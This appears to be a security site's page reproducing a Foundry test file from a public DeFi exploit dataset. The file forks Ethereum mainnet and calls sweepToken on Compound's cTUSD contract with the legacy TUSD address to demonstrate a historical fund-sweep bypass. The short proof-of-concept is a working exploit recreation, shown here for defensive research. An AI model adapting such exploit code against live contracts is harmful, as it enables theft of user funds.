Skip to content
THREATWIRE

Public reproduction file

src/test/2022-03/CompoundTusd_exp.sol

Public reproduction file for dataset entry CompoundTUSDSweepTokenBypass.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-03/CompoundTusd_exp.sol22 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7contract ContractTest is Test {
8 ICErc20Delegate cTUSD = ICErc20Delegate(0x12392F67bdf24faE0AF363c24aC620a2f67DAd86);
9 IERC20 tusd = IERC20(0x0000000000085d4780B73119b644AE5ecd22b376);
10 address tusdLegacy = 0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E;
11 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
13 function setUp() public {
14 cheats.createSelectFork("mainnet", 14_266_479); // fork mainnet at block 14266479
15 }
17 function testExample() public {
18 emit log_named_uint("Before exploit, Compound TUSD balance:", tusd.balanceOf(address(cTUSD)));
19 cTUSD.sweepToken(tusdLegacy);
20 emit log_named_uint("After exploit, Compound TUSD balance:", tusd.balanceOf(address(cTUSD)));
21 }

Analysis

Dataset entry

Public Foundry test for “CompoundTUSDSweepTokenBypass” (2022-03-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

13 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
CompoundTUSDSweepTokenBypass
Path
src/test/2022-03/CompoundTusd_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
eda5a449229e98edcf3026a4d19a9ee9b8d593d1
Language
Solidity
Size
23 lines
Date
2022-03-22
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-03/CompoundTusd_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob eda5a449229e98edcf3026a4d19a9ee9b8d593d1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.